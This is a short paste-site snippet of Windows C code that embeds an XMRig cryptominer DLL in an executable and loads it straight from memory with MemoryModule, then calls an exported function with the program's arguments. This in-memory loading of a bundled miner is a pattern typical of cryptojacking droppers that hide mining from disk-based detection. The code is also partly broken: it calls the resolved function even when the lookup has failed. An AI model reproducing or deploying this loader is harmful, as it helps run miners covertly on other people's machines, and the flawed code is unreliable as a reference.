Untitled

 avatar
unknown
plain_text
4 years ago
958 B
1
Indexable
extern char __binary_xmrig_dll_start;
extern char __binary_xmrig_dll_end;
extern char __binary_xmrig_dll_size;

typedef int(WINAPI* XMProc)(int, char**);
#include <stdio.h>
#include <windows.h>

int main(int argc, char **argv)
{
	printf("starting...");
	
	
	char*  p = &__binary_xmrig_dll_start;
	
	char *pp = &__binary_xmrig_dll_start;
	
	int l = 0;
	
	
	LPTSTR cmd  = GetCommandLine();
	
	printf("cmd = > %s\n", cmd);
	//MemoryLoadLibraryEx
	
	HMEMORYMODULE memModule = MemoryLoadLibrary(p, ((INT_PTR)&__binary_xmrig_dll_end)-((INT_PTR)&__binary_xmrig_dll_start));
	
	
	//XMProc xf = (XMProc)MemoryGetProcAddress(memModule, "some");
	//XMProc xx;
	FARPROC xf = (XMProc)MemoryDefaultGetProcAddress(memModule, "some", cmd);
	if(memModule == NULL)
	{ 
		
		printf("error %d", GetLastError());
		
	}
	if(xf == NULL)
	{
		printf("error %d", GetLastError());
	}else{
		
				printf("loaded\n");

	}
	
	(xf)(argc, argv);
	
	//return 0;
	//MemoryGetProcAddress();
}
Editor is loading...